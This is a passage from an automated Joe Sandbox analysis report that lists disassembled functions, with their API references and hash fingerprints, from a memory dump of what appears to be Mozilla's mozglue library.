Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: b76de871a730613dcf8da029d4a421aae82e720044d5568e99e8c0efda96215f
Instruction ID: 69e0b2d3aed9ab1d57e28fa6ced42487e1b947cf972753edc10017776aeefe6a
Opcode Fuzzy Hash: b76de871a730613dcf8da029d4a421aae82e720044d5568e99e8c0efda96215f
Instruction Fuzzy Hash: 05C1C031E00319ABDB14CFA8C8807AFB7B6EBA5314F544529D405BBB80DB71ED49CB91

Function 6C95D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

8, xrefs: 6C95DC08
9, xrefs: 6C95DE7F
0, xrefs: 6C95DC7F
@, xrefs: 6C95DAF6
-, xrefs: 6C95D7DD
, xrefs: 6C95DA88
1, xrefs: 6C95DBDD
0, xrefs: 6C95D852

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: dc56e59d77088863452360d2aed5888cc7e59c776b7ea825caba42aeb66923ff
Instruction ID: 6a1b592dd77ba60c11ff780af698c891675854449e9cc88d832b678b1b5d30ef
Opcode Fuzzy Hash: dc56e59d77088863452360d2aed5888cc7e59c776b7ea825caba42aeb66923ff
Instruction Fuzzy Hash: 5D62DE7260D3458FD701CF18C29076ABBF6AF86318F984A4DE4D44BB95C335D9A6CB82

Function 6C969F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

0, xrefs: 6C96A100
1, xrefs: 6C96A824
' , xrefs: 6C96A3D8
@, xrefs: 6C96A625
0, xrefs: 6C96AB22
9, xrefs: 6C96A5D6

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: f12e48f6671b2ba386f0267aa31f476d870583a1c6c4107e6d66c32b96159d37
Instruction ID: 285342c432369980256c34f893e47099f05ee16847ac6515a861495d325d71b3
Opcode Fuzzy Hash: f12e48f6671b2ba386f0267aa31f476d870583a1c6c4107e6d66c32b96159d37
Instruction Fuzzy Hash: 6182CF319093318BF710CF1BC49026EB7E6EB85758F65892AE8D547ED0DB35E885CB82

Function 6C95BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C95C1CB
__aulldiv.LIBCMT ref: 6C95C24C
__aulldiv.LIBCMT ref: 6C95C348
__aullrem.LIBCMT ref: 6C95C365
__aulldiv.LIBCMT ref: 6C95C37D

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: ca564f0a8df396e03c74de320938d7a0532e7320a7295eeba397575622058f59
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 1C322632B046168FCB18DE3CC89066ABBE6AFD9310F49866DE495CB395D730ED05CB91

Function 6C9C545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9C8A4B

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 6748e7821dcc473d6c0f55ff824bf16f35ac862823f67dc771b8f36cf46e1fb6
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: D2B1E672B0021ACFDB14CF68CC907A9B7B6EF95314F1902A9C549EB781D730E985CB92

Function 6C9C542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9C925C

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 6cd0fcc83cd549fe357bb5cf7969e5caf8bc937e41cd46092fa0c911797b1cdb
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 75B1D572F0021A8BDB14CF58CC816ADB7B6AF95314F190269C549EBB85D730E989CB92

Function 6C9C50C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9C8E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9C925C

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: b7d9ce138e4f5084dc90b56994151a48e0598923134e98aea57dfd13da7d3c95
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: AAA1D772B001178FDB14CF68CC807A9B7B6AF95314F1502B9C949EB785D730E999CB92

Function 6C9A77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9A7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9A7A93

Part of subcall function 6C975C50: GetTickCount64.KERNEL32 ref: 6C975D40
Part of subcall function 6C975C50: EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C975D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9A7AA1

Part of subcall function 6C975C50: __aulldiv.LIBCMT ref: 6C975DB4
Part of subcall function 6C975C50: LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C975DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C9A7B31

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 3e9d9396267b8fd6d362ffdc120275956346fa5b695858bf71cff325d5cc292f
Instruction ID: 35d63b402a5348829407a67e4b6dac3005365ed227e1c3fbdf0c17e17450f845
Opcode Fuzzy Hash: 3e9d9396267b8fd6d362ffdc120275956346fa5b695858bf71cff325d5cc292f
Instruction Fuzzy Hash: 90B1AC356087808BCB18CFA4C49165FB7E2BFD9318F154A1CE99567B94DB70E90BCB82

Function 6C996CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C996D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C996E1E

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 190545fa93add6624df31b3837edecfd649328ccff8905c3ebfe861819337645
Instruction ID: f7634df291f7fc298ae2d1d3f8b29d472dd0c08a0e26eb2a7d4116a96b0aebee
Opcode Fuzzy Hash: 190545fa93add6624df31b3837edecfd649328ccff8905c3ebfe861819337645
Instruction Fuzzy Hash: 93A18D706183818FCB15CF24C4907AEFBE6BFA8308F54495DE48A87751DB70E959CB92

Function 6C9BB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C9BB720
RtlNtStatusToDosError.NTDLL ref: 6C9BB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C98FE3F,00000000,00000000,?,?,00000000,?,6C98FE3F), ref: 6C9BB760

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: cc99d34a6e496eed520c7a07b2e806247ae11e6d808a5d991b7e6fc456712b5b
Instruction ID: 973e5f119293fe9ebbc3919dc469951abb1e451a2f5b83f2ef42083c76e2a61a
Opcode Fuzzy Hash: cc99d34a6e496eed520c7a07b2e806247ae11e6d808a5d991b7e6fc456712b5b
Instruction Fuzzy Hash: 51F0AFB0A0420CAEEF019AA1CCC4BEFB7BC9B14719F105129E511729C0D774E6C8C762

Function 6C974640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C974777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C975585, 6C9755A8, 6C9755C3, 6C975624

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: b8fba4b3ede52566ec7055dcbf9c5fc672f8be9d6d9c8c173a5336a918f36b23
Instruction ID: 1fad17c29fd2c955e96db0ffb6502fe17ff21090745f4a1ef674bff60e20a197
Opcode Fuzzy Hash: b8fba4b3ede52566ec7055dcbf9c5fc672f8be9d6d9c8c173a5336a918f36b23
Instruction Fuzzy Hash: 37B28D71A06B018FD728CF18C590715BBE6BFC5324B29C7ADE4698B6A6D731E841CF90

Function 6C9B85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9B8C7C
__aulldiv.LIBCMT ref: 6C9B8DD7

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: abf186ce9f9c734c8e384b0231a2bea45213bc7c3d19e44ecba271efc7597e0d
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: DB325971F0121A8BDF1CCE9CC8A17BEB7B6FB88300F15852AD506BB790DA349D458B95

Function 6C9BB8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9603D4,?), ref: 6C9BB955
NtQueryVirtualMemory.NTDLL ref: 6C9BB9A5

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: d077d2515b652df3e93b97476cfbe80de89b3795a0deb1f8ba932ea9462c6a7e
Instruction ID: 74815975401d012b9c5b82fc612d258ea3ca7e91d580970858bfb7b2fe73cd1e
Opcode Fuzzy Hash: d077d2515b652df3e93b97476cfbe80de89b3795a0deb1f8ba932ea9462c6a7e
Instruction Fuzzy Hash: 8641C571F01219AFDF04CFA9D880ADEB7B9EF88354F14812AE505B7744DB30E9458B91

Function 6C995C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C964A63,?,?), ref: 6C995F06

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 8745eea95e5bae02b8e819d74c166b2ec13f30b0eb12db011c6d3cc4fa62b507
Instruction ID: e87c19aeb54141b40e2ff11cc4c98e9d4ce69d8caccf48a06b77821da2475711
Opcode Fuzzy Hash: 8745eea95e5bae02b8e819d74c166b2ec13f30b0eb12db011c6d3cc4fa62b507
Instruction Fuzzy Hash: DAC1C175D012099BCB04CFA5C5906EEBBF6FF8A319F28425DD8556BB44D732A846CB80

Function 6C95DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff4ccaa2f6742391cfa21121713cd7bef9f0100b3b6bfbb65e42e8252148ec2f
Instruction ID: a899fa613e4c4b232c11e9189b4b7732dc773f6f34e3f0bd3ad67280208987b7
Opcode Fuzzy Hash: ff4ccaa2f6742391cfa21121713cd7bef9f0100b3b6bfbb65e42e8252148ec2f
Instruction Fuzzy Hash: AC42D472A087518BD304CE3CC49035AF3E2BFC9364F594B2DE999A7794D739D9418B82

Function 6C9C76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: b85fa92e39bd717ff08c812256885db20c52909c69fc35117cf796b061bc8064
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 8332F871E0061A8FDB14CF98C8D0AADFBB6FF88304F6481A9C549A7745D731A986CF91

Function 6C9C6E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 339a7a8d9ce8ff281e064841f521848a5f2afeceb7f9eb647f16b7c89a008e69
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F522E871E0061A8FDB14CF98C880AADF7F6FF88304F6485AAC549A7745D731A986CF91

Function 6C980512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 286ab1b55caabb77574da8dc762465e9dbb4a6a592fa37c3ece0a54f2dbccbfb
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: FC221671E01659CFCB24CF98C890AADF7B2FF89308F548699C54AA7705D731A986CF90

Function 6C9CAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 438b163c0aa609187af82fd67fb495aa0d56262e55ffb230bb49f57c8f6d2f1c
Instruction ID: 845f37bb87fd0395f7ec045ee9b6bdfdba6238f99a989a2309416836ff3aa9ca
Opcode Fuzzy Hash: 438b163c0aa609187af82fd67fb495aa0d56262e55ffb230bb49f57c8f6d2f1c
Instruction Fuzzy Hash: C3F14871B087458FD700CE28C8913AAB7E6AFD5318F158A2DE8D487781EB74D9898793

Function 6C95C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 5f235e11923b688408c7ff9597425e03612c3ff3549a37dde2826480d5134435
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: AAA1AA71F0021A8FDB08CE69C8913AEB7F2AFC8354F588269D915E7781DB349D168B90

Function 6C997710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: c4444cc0414dca8a1ee3cfbbd6a76bfc4cbfc28a3113b9b055c67c1c36ca1372
Instruction ID: 9235d4aeb16e95b897db654b44aad1d842f977bcab8bd4c1c42e8846b01dd419
Opcode Fuzzy Hash: c4444cc0414dca8a1ee3cfbbd6a76bfc4cbfc28a3113b9b055c67c1c36ca1372
Instruction Fuzzy Hash: 7B714C75E012198FCB18CF99D8905EDBBB6FF89314F28816ED415AB740DB31A945CB90

Function 6C9958E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

